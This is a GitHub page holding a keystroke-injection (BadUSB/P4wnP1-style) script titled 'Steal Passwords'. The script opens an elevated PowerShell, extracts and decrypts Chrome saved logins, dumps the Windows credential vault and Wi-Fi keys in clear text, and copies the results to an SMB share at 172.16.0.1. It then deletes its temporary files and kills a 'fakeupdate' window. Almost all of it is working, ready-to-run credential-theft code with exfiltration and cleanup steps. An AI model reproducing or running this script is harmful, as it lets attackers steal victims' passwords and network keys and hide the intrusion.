-
Notifications
You must be signed in to change notification settings - Fork 0
/
@_Steal Passwords_US_V3_Infinition .js
170 lines (170 loc) · 6.07 KB
/
@_Steal Passwords_US_V3_Infinition .js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
layout('US')
typingSpeed(0,0)
press("GUI r")
delay(200)
type("powershell")
press("CTRL SHIFT ENTER")
delay(1000)
press("SHIFT TAB")
press("ENTER")
delay(3000)
type('mkdir c:\\temp\n')
type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName(')
press("3")
type ('WindowsBase')
press("3")
type (')).GetType(')
press("3")
type ('MS.Win32.UnsafeNativeMethods')
press("3")
type ('))::SetWindowPos($hw,$i,0,0,1024,1024,16512)\n')
type('Set-Alias iexplore \'C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\'\n')
type('function Get-ChromeCreds() {Param([String]$Path );if ([String]::IsNullOrEmpty($Path)) {$Path = ')
press("3")
type ('$env:USERPROFILE\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data')
press("3")
type (';}\n')
type('if (![system.io.file]::Exists($Path)){Write-host \'Chrome db file doesnt exist, or invalid file path specified.\';Break;}\n')
type('Add-Type -AssemblyName System.Security;$Stream = New-Object IO.FileStream -ArgumentList ')
press("3")
type ('$Path')
press("3")
type (', \'Open\', \'Read\', \'ReadWrite\';$Encoding = [system.Text.Encoding]::GetEncoding(28591)\n')
type('$StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding;$BinaryText = $StreamReader.ReadToEnd();$StreamReader.Close();$Stream.Close()\n')
type('$PwdRegex = [Regex] \'(\\x01\\x00\\x00\\x00\\xD0\\x8C\\x9D\\xDF\\x01\\x15\\xD1\\x11\\x8C\\x7A\\x00\\xC0\\x4F\\xC2\\x97\\xEB\\x01\\x00\\x00\\x00)[\\s\\S]*?(?=\\x68\\x74\\x74\\x70')
press("RIGHT_ALT 6")
type ('\\Z)\'\n')
type('$PwdMatches = $PwdRegex.Matches($BinaryText);$PwdNum = 0;$DecPwdArray = ')
press("RIGHT_ALT 0")
type ('();$PwdMatchCount = $PwdMatches.Count\n')
type('Foreach ($Pwd in $PwdMatches) {$Pwd = $Encoding.GetBytes($PwdMatches[$PwdNum]);$Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Pwd,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);$DecPwd = [System.Text.Encoding]::Default.GetString($Decrypt);$DecPwdArray += $DecPwd;$PwdNum += 1;}\n')
type('$UserRegex = [Regex] \'(?<=\\x0D\\x0D\\x0D[\\s\\S]{2}\\x68\\x74\\x74\\x70)[\\s\\S]*?(?=\\x01\\x00\\x00\\x00\\xD0\\x8C\\x9D\\xDF\\x01\\x15\\xD1\\x11\\x8C\\x7A\\x00\\xC0\\x4F\\xC2\\x97\\xEB\\x01\\x00\\x00\\x00)\'\n')
type('$UserMatches = $UserRegex.Matches($BinaryText);$UserNum = 0;$UserMatchCount = $UserMatches.Count;$UserArray = ')
press("RIGHT_ALT 0")
type ('() \n')
type('if (-NOT ($UserMatchCount -eq $PwdMatchCount)) { Write-host ([string]')
press("3")
type ('The number of users is different than the number of passwords! This is most likely due to a regex mismatch.')
press("3")
type (')} \n')
type('$HTTP = ')
press("3")
type ('http')
press("3")
type (';Foreach ($User in $UserMatches) {$User = $Encoding.GetBytes($UserMatches[$UserNum]);$User = $HTTPEnc + $User;$UserString = [System.Text.Encoding]::Default.GetString($User);$UserString = $HTTP + $UserString;$UserArray += $UserString;$UserNum += 1;} \n')
type('$ArrayFinal = New-Object -TypeName System.Collections.ArrayList;for ($i = 0; $i -lt $UserNum; $i++) {;$ObjectProp = ')
press("RIGHT_ALT 0")
type ('{ \n')
type('UserURL = $UserArray[$i];Password = $DecPwdArray[$i];};$obj = New-Object PSObject -Property $ObjectProp;$ArrayFinal.Add($obj) ')
press("RIGHT_ALT 6")
type (' Out-Null;};$ArrayFinal;}\n')
type('rm c:\\temp\\temp.txt\n')
type('rm c:\\temp\\temp2.txt\n')
type('rm c:\\temp\\temp3.txt\n')
type('Get-ChromeCreds > c:\\temp\\temp.txt\n')
type('$p4wnp1 = [System.IO.DriveInfo]::getdrives() $p4wnp2 = c:\\temp\\')
press("RIGHT_ALT 6")
type ('where-object {$_.VolumeLabel -match ')
press("3")
type ('README')
press("3")
type ('}')
press("RIGHT_ALT 6")
type ('sort {$_.name} ')
press("RIGHT_ALT 6")
type ('foreach-object {; echo ')
press("3")
type ('$(echo $_.name)')
press("3")
type (';}\n')
type('$ClassHolder = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$VaultObj = new-object Windows.Security.Credentials.PasswordVault;$VaultObj.RetrieveAll() ')
press("RIGHT_ALT 6")
type (' foreach { $_.RetrievePassword(); $_ } ')
press("RIGHT_ALT 6")
type (' select Username,Password,resource > c:\\temp\\temp2.txt\n')
type('$SSID=((netsh wlan show profiles) -match \'Profil Tous les utilisateurs[')
press("RIGHT_ALT 9")
type (':]+:.(.+)$\').replace(')
press("3")
type ('Profil Tous les utilisateurs')
press("3")
type (',')
press("3")
type ('')
press("3")
type (').replace(')
press("3")
type (':')
press("3")
type (',')
press("3")
type ('')
press("3")
type (').replace(')
press("3")
type (' ')
press("3")
type (',')
press("3")
type ('')
press("3")
type (').split(')
press("3")
type ('\\n')
press("3")
type (');$fin=')
press("3")
type ('')
press("3")
type (';\n')
type('for ($n=0;$n -le $SSID.count-1;$n++){try {;$fin = $fin + $SSID[$n]+((netsh wlan show profiles $SSID[$n].Substring($SSID[$n].Length -($SSID[$n].Length -1)) key=clear) -match \'Contenu de la c[')
press("RIGHT_ALT 9")
type (':]+:.(.+)$\').split(')
press("3")
type (':')
press("3")
type (')[1];} catch {};};$fin > c:\\temp\\temp3.txt \n')
type('cp c:\\temp\\temp.txt c:\\temp\\chrome.txt\n')
type('cp c:\\temp\\temp2.txt c:\\temp\\ie.txt\n')
type('cp c:\\temp\\temp3.txt c:\\temp\\wifi.txt\n')
type('rm c:\\temp\\temp.txt\n')
type('rm c:\\temp\\temp2.txt\n')
type('rm c:\\temp\\temp3.txt\n')
type('$exfil_dir=')
press("3")
type ('$Env:UserProfile\\Documents')
press("3")
type ('\n')
type('$exfil_dir2=')
press("3")
type ('C:\\temp')
press("3")
type ('\n')
type('$exfil_ext=')
press("3")
type ('*')
press("3")
type ('\n')
type('$loot_dir=')
press("3")
type ('\\\\172.16.0.1\\Data\\$Env:ComputerName\\$((Get-Date).ToString(\'yyyy-MM-dd_hhmmtt\'))')
press("3")
type ('\n')
type('net use \\\\172.16.0.1\\Data ;\n')
type('mkdir $loot_dir\n')
type('robocopy $exfil_dir2 $loot_dir $exfil_ext /S /MT /Z\n')
type('rm c:\\temp\\*.txt\n')
type('$fpid = Get-Process ')
press("RIGHT_ALT 6")
type (' where {$_.mainWindowTitle -like ')
press("3")
type ('*fakeupdate*')
press("3")
type ('} ')
press("RIGHT_ALT 6")
type (' Select-Object -Property Id\n')
type('kill $fpid.id\n')
type('exit\n')
type('\n')
type('\n')
type('\n')